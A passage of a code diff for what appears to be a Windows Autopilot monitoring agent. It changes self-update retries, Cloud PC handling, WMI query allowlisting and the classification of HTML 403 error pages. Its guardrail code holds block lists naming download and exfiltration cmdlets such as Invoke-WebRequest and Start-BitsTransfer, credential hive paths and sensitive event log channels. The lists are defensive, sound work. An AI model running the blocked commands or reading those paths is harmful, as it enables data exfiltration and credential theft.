.Replace('\u2014', '-') // — em dash
.Replace('\u2013', '-') // – en dash
.Replace("\u2192", "->") // → arrow
.Replace("\u2026", "...") // … ellipsis
.Replace('\u2018', '\'') // ' left single quote
.Replace('\u2019', '\'') // ' right single quote
.Replace('\u201C', '"') // " left double quote
.Replace('\u201D', '"') // " right double quote
.Replace('\u00A0', ' '); // non-breaking space
return message;
}
}
@@ -88,6 +88,23 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
/// </summary>
public static string BackendExpectedSha256 { get; set; }
/// <summary>
/// True once a <see cref="CheckAndApplyUpdateAsync"/> run actually obtained a version
/// from the manifest (regardless of whether an update was then needed/applied).
/// <para>
/// Consumed by the <c>--await-enrollment</c> path: the startup check runs pre-enrollment
/// where OOBE frequently has no network yet, so a failed check there says nothing about
/// the latest version. Once the MDM certificate appears the device provably has
/// connectivity — the bootstrap retries the check exactly when this is still false.
/// </para>
/// </summary>
/// <remarks>
/// Setter is internal solely as a test seam (InternalsVisibleTo): the bootstrap-retry
/// tests arm/reset the guard without running the real network check. Production code
/// writes it only from <see cref="CheckAndApplyUpdateAsync"/>.
/// </remarks>
public static bool LastVersionCheckSucceeded { get; internal set; }
/// <summary>
/// Optional: graceful-shutdown request hook, set by the runtime host once its
/// shutdown machinery is armed (before the orchestrator starts) and cleared in its
@@ -130,14 +147,21 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
/// to cover hotfixes that reuse the same version number.
/// </param>
/// <param name="triggerReason">
/// "startup" (default) or "runtime_hash_mismatch". Recorded in the marker file so the
/// agent_version_check event (outcome=updated) can distinguish the two paths.
/// "startup" (default), "await_enrollment" (post-cert retry in the bootstrap), or
/// "runtime_hash_mismatch". Recorded in the marker file so the agent_version_check
/// event (outcome=updated) can distinguish the paths.
/// </param>
/// <param name="downloadTimeoutMsOverride">
/// Overrides the ZIP download timeout. Startup path leaves null (fast-fail, 10s) to preserve
/// Autopilot boot speed. Runtime trigger passes 60000 because monitoring is already running
/// and we know an update is required.
/// </param>
/// <param name="versionCheckTimeoutMsOverride">
/// Overrides the version-v2.json fetch timeout (default 2500ms, tuned for boot speed).
/// The await-enrollment retry passes a relaxed value: enrollment just completed, the
/// device provably has network, and a stranded old build's last self-rescue chance is
/// worth a few extra seconds before session registration.
/// </param>
/// <param name="allowDowngrade">
/// When false (default), a latest version strictly lower than <paramref name="currentVersion"/>
/// is rejected even when <paramref name="forceUpdate"/> is true — prevents the production
@@ -151,7 +175,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
bool forceUpdate = false,
string triggerReason = "startup",
int? downloadTimeoutMsOverride = null,
bool allowDowngrade = false)
bool allowDowngrade = false,
int? versionCheckTimeoutMsOverride = null)
{
Action<string> log = msg =>
{
@@ -160,7 +185,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
};
var isStartupTrigger = string.Equals(triggerReason, "startup", StringComparison.Ordinal);
// The await-enrollment retry replaces the startup verdict — its markers must win so
// the agent_version_check event reflects the LATEST check, not the pre-network one.
var writeMarkers = isStartupTrigger || string.Equals(triggerReason, "await_enrollment", StringComparison.Ordinal);
var downloadTimeoutMs = downloadTimeoutMsOverride ?? DownloadTimeoutMs;
var versionCheckTimeoutMs = versionCheckTimeoutMsOverride ?? VersionCheckTimeoutMs;
var totalSw = Stopwatch.StartNew();
long versionCheckMs = 0, downloadMs = 0, verifyMs = 0, extractMs = 0, swapMs = 0;
long zipSizeBytes = 0;
@@ -174,16 +203,17 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
try
{
// Step 1: Fetch version-v2.json (2.5s timeout)
// Step 1: Fetch version-v2.json (default 2.5s timeout, relaxed on retry triggers)
var versionSw = Stopwatch.StartNew();
string manifestSha256;
(latestVersion, manifestSha256) = await GetLatestVersionAsync(log);
(latestVersion, manifestSha256) = await GetLatestVersionAsync(log, versionCheckTimeoutMs);
versionSw.Stop();
versionCheckMs = versionSw.ElapsedMilliseconds;
LastVersionCheckSucceeded = latestVersion != null;
if (latestVersion == null)
{
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("version_check_failed", currentVersion, null, "version-v2.json fetch failed or timed out", log);
return; // Could not determine latest version — continue with current
}
@@ -213,7 +243,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
if (!forceUpdate)
{
log($"Self-update: current version {currentVersion} is up to date (latest: {latestVersion})");
if (isStartupTrigger)
if (writeMarkers)
WriteCheckedMarker(currentVersion, latestVersion, versionCheckMs, log);
return;
}
@@ -230,7 +260,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
if (!forceUpdate)
{
log($"Self-update: cannot compare versions (current={currentVersion}, latest={latestVersion}) — skipping");
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("version_compare_failed", currentVersion, latestVersion, "version parse failed", log);
return;
}
@@ -249,7 +279,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
downloadMs = downloadTimerSw.ElapsedMilliseconds;
if (!downloadOk)
{
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("download_failed", currentVersion, latestVersion, $"ZIP download failed within {downloadTimeoutMs}ms", log);
return;
}
@@ -282,7 +312,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
if (!integrityOk)
{
CleanupStaging(null, zipPath);
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("integrity_mismatch", currentVersion, latestVersion, "SHA-256 mismatch on downloaded ZIP", log);
return;
}
@@ -297,7 +327,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
extractMs = extractSw.ElapsedMilliseconds;
if (!extractOk)
{
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("extract_failed", currentVersion, latestVersion, "ZIP extraction failed", log);
return;
}
@@ -310,7 +340,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
{
log("Self-update: staging validation failed — AutopilotMonitor.Agent.exe not found in ZIP");
CleanupStaging(stagingDir, zipPath);
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("extract_failed", currentVersion, latestVersion, "AutopilotMonitor.Agent.exe not found in ZIP", log);
return;
}
@@ -323,7 +353,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
if (!swapOk)
{
CleanupStaging(stagingDir, zipPath);
if (isStartupTrigger)
if (writeMarkers)
WriteSkipMarker("swap_failed", currentVersion, latestVersion, "file swap failed", log);
return;
}
@@ -355,7 +385,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
catch (Exception ex)
{
log($"Self-update: unexpected error — {ex.Message}. Continuing with current version.");
if (isStartupTrigger)
if (writeMarkers)
{
try { WriteSkipMarker("unexpected_error", currentVersion, latestVersion, ex.Message, log); } catch { }
}
@@ -366,7 +396,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
/// Fetches version-v2.json from blob storage and returns the version string and optional SHA-256 hash.
/// Returns (null, null) if the check fails or times out.
/// </summary>
private static async Task<(string version, string sha256)> GetLatestVersionAsync(Action<string> log)
private static async Task<(string version, string sha256)> GetLatestVersionAsync(Action<string> log, int timeoutMs)
{
try
{
@@ -375,7 +405,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
var versionUrl = $"{Constants.AgentDownloadBaseUrl}/{Constants.AgentVersionFileNameForLine(2)}";
using (var handler = new HttpClientHandler())
using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromMilliseconds(VersionCheckTimeoutMs) })
using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromMilliseconds(timeoutMs) })
{
var json = await client.GetStringAsync(versionUrl);
var obj = JObject.Parse(json);
@@ -396,7 +426,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
}
catch (TaskCanceledException)
{
log($"Self-update: version check timed out ({VersionCheckTimeoutMs}ms) — skipping update");
log($"Self-update: version check timed out ({timeoutMs}ms) — skipping update");
return (null, null);
}
catch (HttpRequestException ex) when (ex.Message.Contains("404"))
@@ -305,10 +305,16 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
// (see docs/agent/autopilot-ztd-diagnostics.md for the evidence model).
if (IsAutopilotProfileMissing(data))
{
// On Windows 365 Cloud PCs a missing profile is the expected state — Cloud PCs
// are provisioned by the Windows 365 service, not by Autopilot — so the event
// is demoted to Info there instead of raising a misleading warning.
var isCloudPc = CloudPcDetector.DetectIsCloudPc();
var missingData = new Dictionary<string, object>
{
{ "profileAvailable", "0" },
{ "likelyCauses", "profile_not_assigned,profile_assignment_not_propagated" }
{ "likelyCauses", "profile_not_assigned,profile_assignment_not_propagated" },
{ "isCloudPc", isCloudPc }
};
if (TryExtractZeroTouchTenantDomain(data, out var ztdTenantDomain))
{
@@ -347,12 +353,17 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
missingData["ztdEndpointLatencyMs"] = probe.LatencyMs;
missingData["ztdEndpointDetail"] = probe.Detail;
var presentation = ResolveAutopilotProfileMissingPresentation(isCloudPc);
EmitDeviceInfoEvent(Constants.EventTypes.AutopilotProfileMissing,
"No Autopilot profile was available during OOBE (ProfileAvailable=0) — most likely no deployment profile was assigned to the device, or the assignment had not finished propagating when OOBE ran. OOBE proceeded as a standard Entra ID join instead of an Autopilot deployment.",
presentation.Message,
missingData,
EventSeverity.Warning);
presentation.Severity);
_logger.Warning($"EnrollmentTracker: no Autopilot profile available during OOBE (ProfileAvailable=0) — ztdVerdict={missingData["ztdVerdict"]}, endpointReachable={probe.Reachable}");
var logLine = $"EnrollmentTracker: no Autopilot profile available during OOBE (ProfileAvailable=0) — isCloudPc={isCloudPc}, ztdVerdict={missingData["ztdVerdict"]}, endpointReachable={probe.Reachable}";
if (isCloudPc)
_logger.Info(logLine);
else
_logger.Warning(logLine);
}
// Emit dedicated enrollment_type_detected event for easy filtering. Routed through
@@ -396,6 +407,26 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
&& profileAvailable?.ToString() == "0";
}
/// <summary>
/// Message and severity for the autopilot_profile_missing event. On Windows 365
/// Cloud PCs the missing profile is expected (Cloud PCs are provisioned by the
/// Windows 365 service, not by Autopilot), so the event is informational there;
/// on physical devices it stays a warning about a missing profile ASSIGNMENT.
/// </summary>
internal static (string Message, EventSeverity Severity) ResolveAutopilotProfileMissingPresentation(bool isCloudPc)
{
if (isCloudPc)
{
return (
"No Autopilot profile was available during OOBE (ProfileAvailable=0). This device is a Windows 365 Cloud PC — Cloud PCs are provisioned by the Windows 365 service and do not use Autopilot deployment profiles, so this is expected. OOBE ran as a standard Entra ID join, which is the normal path for Cloud PCs.",
EventSeverity.Info);
}
return (
"No Autopilot profile was available during OOBE (ProfileAvailable=0) — most likely no deployment profile was assigned to the device, or the assignment had not finished propagating when OOBE ran. OOBE proceeded as a standard Entra ID join instead of an Autopilot deployment.",
EventSeverity.Warning);
}
/// <summary>
/// Extracts ZeroTouchConfig.CloudAssignedTenantDomain from the cached profile data.
/// The value lives in the CloudAssignedAadServerData JSON — either as a top-level
@@ -1021,6 +1052,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
.ToString(System.Globalization.CultureInfo.InvariantCulture);
if (snapshot.AllowContinueAnyway.HasValue)
payload[SignalPayloadKeys.EspAllowContinueAnyway] = snapshot.AllowContinueAnyway.Value ? "true" : "false";
// Tenant opt-in (remote config, not a registry fact) — only stamped when
// enabled; absent = default hard-fail semantics in the engine.
if (_espContinueAnywayObservationEnabled?.Invoke() == true)
payload[SignalPayloadKeys.EspContinueAnywayObservationEnabled] = "true";
var derivationInputs = new Dictionary<string, string>(payload, StringComparer.Ordinal)
{
@@ -35,6 +35,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
private readonly IClock _clock;
private readonly Persistence.StartupEventGate _startupGate;
// Live accessor for AgentConfiguration.EnableEspContinueAnywayObservation — read at
// esp_config_detected stamping time so a late remote-config merge takes effect on
// the phase-triggered re-emissions. Null (tests / legacy callers) means disabled.
private readonly Func<bool> _espContinueAnywayObservationEnabled;
private const string RegKeyWindowsCurrentVersion = @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion";
// Restart dedup (StartupEventGate) — exemptions. boot_time is genuinely new per boot
@@ -65,7 +70,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
AgentLogger logger,
ISignalIngressSink signalIngress = null,
IClock clock = null,
Persistence.StartupEventGate startupGate = null)
Persistence.StartupEventGate startupGate = null,
Func<bool> espContinueAnywayObservationEnabled = null)
{
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
@@ -74,6 +80,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
_signalIngress = signalIngress;
_clock = clock;
_startupGate = startupGate;
_espContinueAnywayObservationEnabled = espContinueAnywayObservationEnabled;
}
/// <summary>
@@ -3,6 +3,7 @@ using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text.RegularExpressions;
using Newtonsoft.Json.Linq;
namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
@@ -35,9 +36,29 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
public static readonly IReadOnlyCollection<string> AllowedCommands;
public static readonly IReadOnlyList<string> AllowedEventLogChannels;
// Hard blocks: never allowed, even in unrestricted mode
private static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users");
private static readonly string[] AdditionalHardBlockedPathPrefixes = new[]
// Derived from AllowedWmiQueryPrefixes: entries of the canonical form
// "SELECT * FROM <class>" contribute their class name; any other entry
// (none today) stays on the legacy literal-prefix path.
private static readonly HashSet<string> AllowedWmiClasses;
private static readonly List<string> ResidualWmiPrefixes;
// Canonical allowlist entry: exactly "SELECT * FROM <class>".
private static readonly Regex CanonicalWmiEntryRegex = new Regex(
@"^SELECT\s+\*\s+FROM\s+([A-Za-z_][A-Za-z0-9_]*)$",
RegexOptions.IgnoreCase | RegexOptions.Compiled);
// WQL shape "SELECT <* | property-list> FROM <class>", class token bounded
// by whitespace or end of string (a trailing WHERE clause is permitted,
// "Win32_BIOSX" cannot pass as "Win32_BIOS").
private static readonly Regex WmiQueryRegex = new Regex(
@"^SELECT\s+(?:\*|[A-Za-z_][A-Za-z0-9_]*(?:\s*,\s*[A-Za-z_][A-Za-z0-9_]*)*)\s+FROM\s+([A-Za-z_][A-Za-z0-9_]*)(?=\s|$)",
RegexOptions.IgnoreCase | RegexOptions.Compiled);
// Hard blocks: never allowed, even in unrestricted mode. Internal (not private)
// so GuardrailsParityTests can pin the guardrails.json display mirror to these
// constants — enforcement stays code-only by design.
internal static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users");
internal static readonly string[] AdditionalHardBlockedPathPrefixes = new[]
{
Path.GetFullPath(@"C:\Windows\System32\config"), // SAM, SECURITY, SYSTEM hives
};
@@ -50,14 +71,14 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
};
// Hard limit: maximum command length (even in unrestricted mode)
private const int MaxCommandLength = 2000;
internal const int MaxCommandLength = 2000;
// Event log channels that are never readable, even in unrestricted mode.
// Security carries the audit trail of user behaviour; the PowerShell channels
// carry script-block logging, which routinely contains secrets in clear text.
// Mirrored in rules/guardrails.json ("blockedEventLogChannels") for the portal
// to display — enforcement lives here so a parse error cannot lift it.
private static readonly string[] HardBlockedEventLogChannels = new[]
internal static readonly string[] HardBlockedEventLogChannels = new[]
{
"Security",
"Microsoft-Windows-PowerShell",
@@ -67,7 +88,9 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
// Hard-blocked command patterns: never allowed, even in unrestricted mode.
// These prevent privilege escalation, persistence, and data exfiltration.
private static readonly string[] HardBlockedCommandPatterns = new[]
// Mirrored in rules/guardrails.json ("blockedCommandPatterns") for portal/MCP
// pre-flight display — enforcement lives here so a parse error cannot lift it.
internal static readonly string[] HardBlockedCommandPatterns = new[]
{
// Download / exfiltration
"Invoke-WebRequest", "Invoke-RestMethod", "Start-BitsTransfer",
@@ -101,6 +124,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
AllowedCommands = new HashSet<string>(commands, StringComparer.OrdinalIgnoreCase);
AllowedEventLogChannels = FlattenCategorized(obj, "eventLogChannels", "channels");
DeriveWmiClassAllowlist(AllowedWmiQueryPrefixes, out AllowedWmiClasses, out ResidualWmiPrefixes);
return;
}
}
@@ -115,6 +139,26 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
AllowedWmiQueryPrefixes = new List<string>();
AllowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
AllowedEventLogChannels = new List<string>();
AllowedWmiClasses = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
ResidualWmiPrefixes = new List<string>();
}
private static void DeriveWmiClassAllowlist(
IReadOnlyList<string> entries,
out HashSet<string> classes,
out List<string> residual)
{
classes = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
residual = new List<string>();
foreach (var entry in entries)
{
var match = CanonicalWmiEntryRegex.Match(entry.Trim());
if (match.Success)
classes.Add(match.Groups[1].Value);
else
residual.Add(entry);
}
}
private static string LoadEmbeddedGuardrails()
@@ -250,8 +294,9 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
}
/// <summary>
/// Returns true if the WMI query (trimmed) matches an allowed prefix
/// with boundary matching (next char must be whitespace or end of string).
/// Returns true if the WMI query (trimmed) is "SELECT &lt;* | property-list&gt; FROM &lt;class&gt;"
/// (optionally followed by a WHERE clause) against a class on the allowlist.
/// A property projection exposes a strict subset of the allowed "SELECT *".
/// </summary>
public static bool IsWmiQueryAllowed(string query)
=> IsWmiQueryAllowed(query, unrestrictedMode: false);
@@ -269,7 +314,13 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather
return true;
var trimmed = query.Trim();
return AllowedWmiQueryPrefixes.Any(prefix =>
var match = WmiQueryRegex.Match(trimmed);
if (match.Success && AllowedWmiClasses.Contains(match.Groups[1].Value))
return true;
// Non-canonical allowlist entries keep the legacy literal-prefix match.
return ResidualWmiPrefixes.Any(prefix =>
trimmed.StartsWith(prefix, StringComparison.OrdinalIgnoreCase) &&
(trimmed.Length == prefix.Length || char.IsWhiteSpace(trimmed[prefix.Length])));
}
@@ -137,7 +137,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
continue;
}
ThrowOnAuthFailure(response);
await ThrowOnAuthFailureAsync(response).ConfigureAwait(false);
response.EnsureSuccessStatusCode();
var responseJson = await response.Content.ReadAsStringAsync().ConfigureAwait(false);
@@ -236,7 +236,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
using (response)
{
ThrowOnAuthFailure(response);
await ThrowOnAuthFailureAsync(response).ConfigureAwait(false);
response.EnsureSuccessStatusCode();
var responseJson = await response.Content.ReadAsStringAsync().ConfigureAwait(false);
@@ -282,16 +282,97 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
/// <summary>
/// Throws <see cref="BackendAuthException"/> for 401/403 responses so callers can
/// distinguish authentication failures from transient server errors.
/// <para>
/// Field case (sits-d.cloud, 2026-08-09): a pre-cutover agent build pointed at a
/// retired Function App; Azure answers for a stopped app with a platform-level 403
/// carrying an HTML error page ("Web App - Unavailable"). Our backend never returns
/// HTML on 401/403 — an HTML body therefore means the response did not come from the
/// backend's auth layer at all (stopped/retired app, edge proxy, WAF). Reporting that
/// as "device is not authorized" sends troubleshooting down the wrong path, so the
/// two cases get distinct messages and the exception carries a flag.
/// </para>
/// </summary>
private static void ThrowOnAuthFailure(HttpResponseMessage response)
private static async Task ThrowOnAuthFailureAsync(HttpResponseMessage response)
{
if (response.StatusCode == System.Net.HttpStatusCode.Unauthorized ||
response.StatusCode == System.Net.HttpStatusCode.Forbidden)
if (response.StatusCode != System.Net.HttpStatusCode.Unauthorized &&
response.StatusCode != System.Net.HttpStatusCode.Forbidden)
{
return;
}
var statusText = $"{(int)response.StatusCode} {response.StatusCode}";
string body = null;
try
{
body = await response.Content.ReadAsStringAsync().ConfigureAwait(false);
}
catch
{
// Body is diagnostic-only; classification below treats null as non-HTML.
}
if (LooksLikeHtmlErrorPage(response, body))
{
var title = TryExtractHtmlTitle(body);
var titleText = title != null ? $" (\"{title}\")" : string.Empty;
var host = response.RequestMessage?.RequestUri?.Host ?? "(unknown host)";
throw new BackendAuthException(
$"Backend returned {(int)response.StatusCode} {response.StatusCode}. " +
"The device is not authorized. Check client certificate and Autopilot device validation.",
(int)response.StatusCode);
$"Backend returned {statusText} with an HTML platform error page{titleText} from '{host}'. " +
"This response did not come from the Autopilot Monitor backend — the endpoint appears stopped, " +
"retired, or intercepted by a proxy. This is NOT a device-authorization failure; an outdated " +
"agent build pointing at a stale ApiBaseUrl is the most likely cause.",
(int)response.StatusCode,
endpointUnavailable: true);
}
throw new BackendAuthException(
$"Backend returned {statusText}. " +
"The device is not authorized. Check client certificate and Autopilot device validation.",
(int)response.StatusCode);
}
/// <summary>
/// True when a 401/403 response is an HTML page rather than a backend JSON/plain-text
/// reply. Checks the declared Content-Type first, then falls back to sniffing the body
/// prefix so a platform page served with a generic Content-Type is still recognized.
/// </summary>
private static bool LooksLikeHtmlErrorPage(HttpResponseMessage response, string body)
{
var mediaType = response.Content?.Headers?.ContentType?.MediaType;
if (string.Equals(mediaType, "text/html", StringComparison.OrdinalIgnoreCase))
return true;
if (string.IsNullOrWhiteSpace(body))
return false;
var head = body.TrimStart();
return head.StartsWith("<!DOCTYPE", StringComparison.OrdinalIgnoreCase) ||
head.StartsWith("<html", StringComparison.OrdinalIgnoreCase);
}
/// <summary>
/// Best-effort extraction of the HTML &lt;title&gt; (e.g. "Web App - Unavailable") so the
/// log line names the platform page without dumping markup. Null when absent/oversized.
/// </summary>
private static string TryExtractHtmlTitle(string body)
{
if (string.IsNullOrEmpty(body)) return null;
try
{
var match = System.Text.RegularExpressions.Regex.Match(
body, @"<title[^>]*>\s*(.*?)\s*</title>",
System.Text.RegularExpressions.RegexOptions.IgnoreCase |
System.Text.RegularExpressions.RegexOptions.Singleline,
TimeSpan.FromMilliseconds(250));
if (!match.Success) return null;
var title = match.Groups[1].Value;
return title.Length == 0 ? null : (title.Length > 80 ? title.Substring(0, 80) : title);
}
catch
{
return null;
}
}
@@ -330,7 +411,9 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
}
/// <summary>
/// Thrown when the backend returns 401 or 403, indicating the device is not authorized.
/// Thrown when the backend returns 401 or 403, indicating the device is not authorized —
/// or, when <see cref="EndpointUnavailable"/> is set, that the 401/403 was a platform-level
/// HTML response (stopped/retired app, edge proxy) rather than a backend auth verdict.
/// </summary>
public class BackendAuthException : Exception
{
@@ -340,9 +423,16 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
/// </summary>
public int StatusCode { get; }
public BackendAuthException(string message, int statusCode = 0) : base(message)
/// <summary>
/// True when the 401/403 carried an HTML platform error page — the endpoint itself is
/// stopped/retired/proxied and the status says nothing about this device's authorization.
/// </summary>
public bool EndpointUnavailable { get; }
public BackendAuthException(string message, int statusCode = 0, bool endpointUnavailable = false) : base(message)
{
StatusCode = statusCode;
EndpointUnavailable = endpointUnavailable;
}
}
}
@@ -56,6 +56,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
private DateTime? _lastReportTime;
private int _reportCount;
// Local W365 marker verdict, captured once at construction (same UNVERIFIED contract
// as the hardware fields). Optional ctor arg so test fakes stay source-compatible.
private readonly bool _isCloudPc;
public DistressReporter(
string baseUrl,
string tenantId,
@@ -64,7 +68,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
string serialNumber,
string agentVersion,
AgentLogger logger,
X509Certificate2 clientCertificate = null)
X509Certificate2 clientCertificate = null,
bool isCloudPc = false)
{
_tenantId = tenantId;
_manufacturer = manufacturer;
@@ -72,6 +77,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
_serialNumber = serialNumber;
_agentVersion = agentVersion;
_logger = logger;
_isCloudPc = isCloudPc;
// Capture cert context. Each field is independently nullable so the backend can tell
// "agent had no cert at all" (NoCertInStore + all-null fields) from "agent had a cert
@@ -169,6 +175,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Transport
HttpStatusCode = httpStatusCode,
Message = Truncate(message, 256),
Timestamp = DateTime.UtcNow,
IsCloudPc = _isCloudPc,
CertSourceState = _capturedCertState,
CertThumbprint = _capturedCertThumbprint,
CertSubject = Truncate(_capturedCertSubject, 96),
@@ -127,7 +127,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
ingress: ingress,
clock: clock,
logger: logger,
startupGate: _startupEventGate));
startupGate: _startupEventGate,
// Live accessor (not the current value): a remote-config merge landing after
// factory construction must still reach the phase-triggered re-emissions.
espContinueAnywayObservationEnabled: () => _agentConfig.EnableEspContinueAnywayObservation));
// Session caa6cf50 gate-starvation fix: the EspAndHelloTracker's user-ESP-apps-settled
// probe reads the IME log host, which is constructed further down. Same closure-over-
@@ -91,6 +91,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
// (tests / legacy callers) means trace events always flow.
private readonly Func<bool>? _traceEventsEnabled;
// Live accessor for AgentConfiguration.EnableEspContinueAnywayObservation — read at
// esp_config_detected stamping time so a remote-config merge that lands after
// construction still takes effect. Null (tests / legacy callers) means disabled.
private readonly Func<bool>? _espContinueAnywayObservationEnabled;
// Max-lifetime watchdog (M4.6.α). Timer is armed in Start() when _agentMaxLifetime != null.
private System.Threading.Timer? _maxLifetimeTimer;
private int _terminatedFired;
@@ -173,7 +178,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
TimeSpan? agentMaxLifetime = null,
int uploadBatchSize = 100,
IDeadlineScheduler? schedulerOverride = null,
Func<bool>? traceEventsEnabled = null)
Func<bool>? traceEventsEnabled = null,
Func<bool>? espContinueAnywayObservationEnabled = null)
{
if (string.IsNullOrEmpty(sessionId)) throw new ArgumentException("SessionId is mandatory.", nameof(sessionId));
if (string.IsNullOrEmpty(tenantId)) throw new ArgumentException("TenantId is mandatory.", nameof(tenantId));
@@ -214,6 +220,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
_schedulerOverride = schedulerOverride;
_traceEventsEnabled = traceEventsEnabled;
_espContinueAnywayObservationEnabled = espContinueAnywayObservationEnabled;
}
/// <summary>
@@ -773,6 +780,10 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
.ToString(System.Globalization.CultureInfo.InvariantCulture);
if (snapshot.AllowContinueAnyway.HasValue)
payload[SignalPayloadKeys.EspAllowContinueAnyway] = snapshot.AllowContinueAnyway.Value ? "true" : "false";
// Tenant opt-in (remote config, not a registry fact) — only stamped when
// enabled; absent = default hard-fail semantics in the engine.
if (_espContinueAnywayObservationEnabled?.Invoke() == true)
payload[SignalPayloadKeys.EspContinueAnywayObservationEnabled] = "true";
_ingress!.Post(
kind: DecisionSignalKind.EspConfigDetected,
@@ -82,7 +82,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
ISignalIngressSink ingress,
IClock clock,
AgentLogger logger,
Persistence.StartupEventGate? startupGate = null)
Persistence.StartupEventGate? startupGate = null,
Func<bool>? espContinueAnywayObservationEnabled = null)
{
if (ingress == null) throw new ArgumentNullException(nameof(ingress));
if (clock == null) throw new ArgumentNullException(nameof(clock));
@@ -92,7 +93,8 @@ namespace AutopilotMonitor.Agent.V2.Core.Orchestration
// when it reads the FirstSync SkipUser/SkipDevice registry values, so that Fix 8's
// reducer guards have the SkipUserEsp/SkipDeviceEsp state facts to read.
_collector = new Monitoring.Telemetry.DeviceInfo.DeviceInfoCollector(
sessionId, tenantId, post, logger, ingress, clock, startupGate);
sessionId, tenantId, post, logger, ingress, clock, startupGate,
espContinueAnywayObservationEnabled);
_observableIngress = ingress as SignalIngress;
}
@@ -46,6 +46,7 @@ namespace AutopilotMonitor.Agent.V2.Core.Security
private int _consecutiveFailures;
private DateTime? _firstFailureUtc;
private int _thresholdFired; // 0/1 — Interlocked exchange makes the event single-shot
private int _distressDispatched; // 0/1 per failure streak — reset by RecordSuccess
public AuthFailureTracker(
int maxFailures,
@@ -77,18 +78,27 @@ namespace AutopilotMonitor.Agent.V2.Core.Security
public void RecordSuccess()
{
if (Interlocked.Exchange(ref _consecutiveFailures, 0) == 0) return; // no-op if already zero
Interlocked.Exchange(ref _distressDispatched, 0);
lock (_windowLock) { _firstFailureUtc = null; }
}
/// <summary>
/// Record a 401/403 from the given <paramref name="operation"/>. V1 parity — on the FIRST
/// failure this fires a single distress report via the constructor-injected
/// <see cref="DistressReporter"/> (401 → AuthCertificateRejected, 403 → DeviceNotRegistered).
/// Subsequent failures are logged + counted but do not dispatch further distress signals.
/// Emits <see cref="ThresholdExceeded"/> the first time either ceiling is crossed;
/// subsequent calls after termination is armed are no-ops.
/// Record a 401/403 from the given <paramref name="operation"/>. V1 parity — the first
/// qualifying failure of a streak fires a single distress report via the
/// constructor-injected <see cref="DistressReporter"/> (401 → AuthCertificateRejected,
/// 403 → DeviceNotRegistered). Subsequent failures are logged + counted but do not
